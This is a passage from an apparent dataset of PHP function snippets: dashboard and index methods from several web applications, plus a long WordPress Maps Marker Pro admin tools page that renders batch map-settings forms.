$apps_widgets ) {\n \n arsort($apps_widgets);\n \n $e = 0;\n \n foreach ( $apps_widgets as $key_w => $value_w ) {\n\n if ( $full_size === 'col-xl-5' && $e === 0 ) {\n\n if ( !isset($widgets[0]) ) {\n $widgets[0] = '';\n }\n \n $widgets[0] .= str_replace( '[xl]', '7', $value_w['widget'] );\n \n } else {\n \n $widgets[$key_w] = str_replace( '[xl]', '12', $value_w['widget'] );\n \n }\n \n if ( $value_w['styles_url'] && !in_array( $value_w['styles_url'], $this->css_urls_widgets ) ) {\n $this->css_urls_widgets[] = $value_w['styles_url'];\n }\n \n if ( $value_w['js_url'] && !in_array( $value_w['js_url'], $this->js_urls_widgets ) ) {\n $this->js_urls_widgets[] = $value_w['js_url'];\n } \n \n $e++;\n \n }\n \n }\n \n $this->CI->user_header = user_header();\n \n $this->CI->user_header['app'] = 'dashboard';\n \n $expired = 0;\n \n $expires_soon = 0;\n \n if ( $plan_end ) {\n \n if ( strtotime($plan_end) < time() ) {\n \n $this->CI->plans->delete_user_plan($this->CI->user_id);\n redirect('user/app/dashboard');\n \n } elseif ( strtotime($plan_end) < time() + 432000 ) {\n \n $expires_soon = 1;\n \n }\n \n }\n \n // Making temlate and send data to view.\n $this->CI->template['header'] = $this->CI->load->view('user/layout/header', array('app_styles' => $this->assets_css(), 'title' => $this->CI->lang->line('dashboard')), true);\n $this->CI->template['left'] = $this->CI->load->view('user/layout/left', $this->CI->user_header, true);\n $this->CI->template['body'] = $this->CI->load->ext_view( MIDRUB_DASHBOARD_APP_PATH . '/views', 'main', array('widgets' => $widgets, 'expired' => $expired, 'expires_soon' => $expires_soon), true);\n $this->CI->template['footer'] = $this->CI->load->view('user/layout/footer', array('app_scripts' => $this->assets_js()), true);\n $this->CI->load->ext_view( MIDRUB_DASHBOARD_APP_PATH . '/views/layout', 'index', $this->CI->template);\n \n }", "public function index()\n {\n $stations = RadioStation::all();\n return view('protube.radio.index', ['stations' => $stations]);\n }", "public function index()\n {\n $fleetTypes = Fleet::all();\n return view('dashboard.fleet', compact('fleetTypes'));\n }", "public function index()\n {\n // The importante key here all service must be ordered by id.\n $services = Service::count();\n \n /* start service for chart */\n $serviceNames = Service::orderBy('id', 'ASC')->pluck('name')->toJson();\n $appointmentsByService = Appointment::orderBy('service_id', 'ASC')->pluck('service_id');\n $serviceWithValues = array_values($appointmentsByService->countBy()->toArray());\n $start = ((count($serviceWithValues) - 1) < 0) ? 0 : (count($serviceWithValues) - 1);\n $noValues = array_fill($start, $services , 0);\n $serviceReport = json_encode($serviceWithValues + $noValues);\n /* end of start service for chart */\n \n $appointments = Doctor::whereHas('appointments', function ($query) {\n $query->whereDate('start_date', date('Y-m-d'));\n })->withCount('appointments')->where('active', 'active')->get();\n $doctorsCount = Doctor::count();\n $patients = Patient::count();\n $closeDays = CloseDay::count();\n return view('admin.dashboard', compact('appointments', 'doctorsCount', 'patients', 'services', 'closeDays', 'serviceNames', 'serviceReport'));\n }", "function dashboard_widget() {\n\t\tif(!empty($this->options['stats_last_cache'])):\n\t\t\t$last_cache = '<em>Last Updated ' . date(\"m/d/y @ h:i:s\", $this->options['stats_last_cache']) . '</em>';\n\t\telse:\n\t\t\t$last_cache = '';\n\t\tendif;\n\t\twp_add_dashboard_widget('escalate_network_stats', 'Escalate Network Stats'.$last_cache, array($this,'dashboard_widget_display'));\t\n\t}", "protected function show() {\r\n\t\tglobal $wpdb;\r\n\t\t$db = Maps_Marker_Pro::get_instance('MMP\\DB');\r\n\t\t$upload = Maps_Marker_Pro::get_instance('MMP\\Upload');\r\n\t\t$l10n = Maps_Marker_Pro::get_instance('MMP\\L10n');\r\n\t\t$mmp_settings = Maps_Marker_Pro::get_instance('MMP\\Settings');\r\n\r\n\t\t$maps = $db->get_all_maps(true);\r\n\t\t$settings = $mmp_settings->get_map_defaults();\r\n\t\t$old_version = get_option('leafletmapsmarker_version_pro');\r\n\r\n\t\t$basemaps = $mmp_settings->get_basemaps();\r\n\t\t$custom_basemaps = $db->get_all_basemaps();\r\n\t\tforeach ($custom_basemaps as $custom_basemap) {\r\n\t\t\t$basemaps[$custom_basemap->id] = array(\r\n\t\t\t\t'type' => 1,\r\n\t\t\t\t'wms' => absint($custom_basemap->wms),\r\n\t\t\t\t'name' => $custom_basemap->name,\r\n\t\t\t\t'url' => $custom_basemap->url,\r\n\t\t\t\t'options' => json_decode($custom_basemap->options)\r\n\t\t\t);\r\n\t\t}\r\n\t\t$overlays = array();\r\n\t\t$custom_overlays = $db->get_all_overlays();\r\n\t\tforeach ($custom_overlays as $custom_overlay) {\r\n\t\t\t$overlays[$custom_overlay->id] = array(\r\n\t\t\t\t'name' => $custom_overlay->name,\r\n\t\t\t\t'url' => $custom_overlay->url,\r\n\t\t\t\t'options' => json_decode($custom_overlay->options)\r\n\t\t\t);\r\n\t\t}\r\n\r\n\t\t?>\r\n\t\t<div class=\"wrap mmp-wrap\">\r\n\t\t\t<h1><?= esc_html__('Tools', 'mmp') ?></h1>\r\n\t\t\t<div class=\"mmp-tools-tabs\">\r\n\t\t\t\t<button id=\"maps_markers_tab\" class=\"mmp-tablink\" type=\"button\"><?= esc_html__('Maps and markers', 'mmp') ?></button>\r\n\t\t\t\t<button id=\"import_tab\" class=\"mmp-tablink\" type=\"button\"><?= esc_html__('Import markers', 'mmp') ?></button>\r\n\t\t\t\t<button id=\"export_tab\" class=\"mmp-tablink\" type=\"button\"><?= esc_html__('Export markers', 'mmp') ?></button>\r\n\t\t\t\t<button id=\"backup_restore_tab\" class=\"mmp-tablink\" type=\"button\"><?= esc_html__('Backup and restore', 'mmp') ?></button>\r\n\t\t\t\t<?php if ($old_version !== false): ?>\r\n\t\t\t\t\t<button id=\"migration_tab\" class=\"mmp-tablink\" type=\"button\"><?= esc_html__('Data migration', 'mmp') ?></button>\r\n\t\t\t\t<?php endif; ?>\r\n\t\t\t\t<button id=\"reset_tab\" class=\"mmp-tablink\" type=\"button\"><?= esc_html__('Reset', 'mmp') ?></button>\r\n\t\t\t</div>\r\n\t\t\t<div id=\"maps_markers_tab_content\" class=\"mmp-tools-tab\">\r\n\t\t\t\t<div id=\"batch_settings_section\" class=\"mmp-tools-section\">\r\n\t\t\t\t\t<h2><?= esc_html__('Batch update map settings', 'mmp') ?></h2>\r\n\t\t\t\t\t<div class=\"mmp-batch-settings-tabs\">\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"mapDimensions\"><?= esc_html__('Map dimensions', 'mmp') ?></button>\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"initialView\"><?= esc_html__('Initial view', 'mmp') ?></button>\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"panel\"><?= esc_html__('Panel', 'mmp') ?></button>\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"layers\"><?= esc_html__('Layers', 'mmp') ?></button>\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"zoomButtons\"><?= esc_html__('Zoom buttons', 'mmp') ?></button>\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"fullscreenButton\"><?= esc_html__('Fullscreen button', 'mmp') ?></button>\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"resetButton\"><?= esc_html__('Reset button', 'mmp') ?></button>\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"locateButton\"><?= esc_html__('Locate button', 'mmp') ?></button>\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"scale\"><?= esc_html__('Scale', 'mmp') ?></button>\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"layersControl\"><?= esc_html__('Layers control', 'mmp') ?></button>\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"filtersControl\"><?= esc_html__('Filters control', 'mmp') ?></button>\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"minimap\"><?= esc_html__('Minimap', 'mmp') ?></button>\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"attribution\"><?= esc_html__('Attribution', 'mmp') ?></button>\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"icon\"><?= esc_html__('Icon', 'mmp') ?></button>\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"clustering\"><?= esc_html__('Clustering', 'mmp') ?></button>\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"tooltip\"><?= esc_html__('Tooltip', 'mmp') ?></button>\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"popup\"><?= esc_html__('Popup', 'mmp') ?></button>\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"list\"><?= esc_html__('List', 'mmp') ?></button>\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"interaction\"><?= esc_html__('Interaction', 'mmp') ?></button>\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"track\"><?= esc_html__('Track', 'mmp') ?></button>\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"metadata\"><?= esc_html__('Metadata', 'mmp') ?></button>\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"waypoints\"><?= esc_html__('Waypoints', 'mmp') ?></button>\r\n\t\t\t\t\t\t<button type=\"button\" class=\"mmp-batch-settings-tablink\" data-target=\"elevationChart\"><?= esc_html__('Elevation chart', 'mmp') ?></button>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t\t<div class=\"mmp-batch-settings\">\r\n\t\t\t\t\t\t<form id=\"mapSettings\" method=\"POST\">\r\n\t\t\t\t\t\t\t<div id=\"mapDimensionsContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"widthCheck\" class=\"batch-settings-check\" name=\"widthCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"width\"><?= esc_html__('Width', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"width\" name=\"width\" value=\"<?= $settings['width'] ?>\" min=\"1\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"widthUnitCheck\" class=\"batch-settings-check\" name=\"widthUnitCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label><?= esc_html__('Width unit', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label><input type=\"radio\" id=\"widthUnitPct\" name=\"widthUnit\" value=\"%\" <?= !($settings['widthUnit'] == '%') ?: 'checked=\"checked\"' ?> />%</label>\r\n\t\t\t\t\t\t\t\t\t\t<label><input type=\"radio\" id=\"widthUnitPx\" name=\"widthUnit\" value=\"px\" <?= !($settings['widthUnit'] == 'px') ?: 'checked=\"checked\"' ?> />px</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"heightCheck\" class=\"batch-settings-check\" name=\"heightCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"height\"><?= esc_html__('Height', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"height\" name=\"height\" value=\"<?= $settings['height'] ?>\" min=\"1\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"tabbedCheck\" class=\"batch-settings-check\" name=\"tabbedCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"tabbed\"><?= esc_html__('Tabbed', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"tabbed\" name=\"tabbed\" <?= !$settings['tabbed'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t\t<span></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<div id=\"initialViewContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"latCheck\" class=\"batch-settings-check\" name=\"latCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"lat\"><?= esc_html__('Latitude', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"lat\" name=\"lat\" value=\"<?= $settings['lat'] ?>\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"lngCheck\" class=\"batch-settings-check\" name=\"lngCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"lng\"><?= esc_html__('Longitude', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"lng\" name=\"lng\" value=\"<?= $settings['lng'] ?>\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"maxBoundsCheck\" class=\"batch-settings-check\" name=\"maxBoundsCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"maxBounds\"><?= esc_html__('Max bounds', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<textarea id=\"maxBounds\" name=\"maxBounds\"><?= str_replace(',', \",\\n\", $settings['maxBounds']) ?></textarea>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"zoomCheck\" class=\"batch-settings-check\" name=\"zoomCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"zoom\"><?= esc_html__('Zoom', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"zoom\" name=\"zoom\" value=\"<?= $settings['zoom'] ?>\" min=\"0\" max=\"23\" step=\"0.1\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"minZoomCheck\" class=\"batch-settings-check\" name=\"minZoomCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"minZoom\"><?= esc_html__('Min zoom', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"minZoom\" name=\"minZoom\" value=\"<?= $settings['minZoom'] ?>\" min=\"0\" max=\"23\" step=\"0.1\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"maxZoomCheck\" class=\"batch-settings-check\" name=\"maxZoomCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"maxZoom\"><?= esc_html__('Max zoom', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"maxZoom\" name=\"maxZoom\" value=\"<?= $settings['maxZoom'] ?>\" min=\"0\" max=\"23\" step=\"0.1\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"zoomStepCheck\" class=\"batch-settings-check\" name=\"zoomStepCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"zoomStep\"><?= esc_html__('Zoom step', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"zoomStep\" name=\"zoomStep\" value=\"<?= $settings['zoomStep'] ?>\" min=\"0.1\" max=\"1\" step=\"0.1\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<div id=\"panelContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"panelCheck\" class=\"batch-settings-check\" name=\"panelCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"panel\"><?= esc_html__('Show', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"panel\" name=\"panel\" <?= !$settings['panel'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t\t<span></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"panelColorCheck\" class=\"batch-settings-check\" name=\"panelColorCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"panelColor\"><?= esc_html__('Color', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"panelColor\" name=\"panelColor\" value=\"<?= $settings['panelColor'] ?>\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"panelFsCheck\" class=\"batch-settings-check\" name=\"panelFsCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"panelFs\"><?= esc_html__('Fullscreen button', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"panelFs\" name=\"panelFs\" <?= !$settings['panelFs'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t\t<span></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"panelGeoJsonCheck\" class=\"batch-settings-check\" name=\"panelGeoJsonCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"panelGeoJson\"><?= esc_html__('GeoJSON button', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"panelGeoJson\" name=\"panelGeoJson\" <?= !$settings['panelGeoJson'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t\t<span></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"panelKmlCheck\" class=\"batch-settings-check\" name=\"panelKmlCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"panelKml\"><?= esc_html__('KML button', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"panelKml\" name=\"panelKml\" <?= !$settings['panelKml'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t\t<span></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"panelGeoRssCheck\" class=\"batch-settings-check\" name=\"panelGeoRssCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"panelGeoRss\"><?= esc_html__('GeoRss button', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"panelGeoRss\" name=\"panelGeoRss\" <?= !$settings['panelGeoRss'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t\t<span></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<div id=\"layersContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"basemapDetectRetinaCheck\" class=\"batch-settings-check\" name=\"basemapDetectRetinaCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"basemapDetectRetina\"><?= esc_html__('Detect retina', 'mmp') ?>*</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"basemapDetectRetina\" name=\"basemapDetectRetina\" <?= !$settings['basemapDetectRetina'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"basemapEdgeBufferTilesCheck\" class=\"batch-settings-check\" name=\"basemapEdgeBufferTilesCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"basemapEdgeBufferTiles\"><?= esc_html__('Edge buffer tiles', 'mmp') ?>*</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"basemapEdgeBufferTiles\" name=\"basemapEdgeBufferTiles\" value=\"<?= $settings['basemapEdgeBufferTiles'] ?>\" min=\"0\" max=\"10\" step=\"1\" 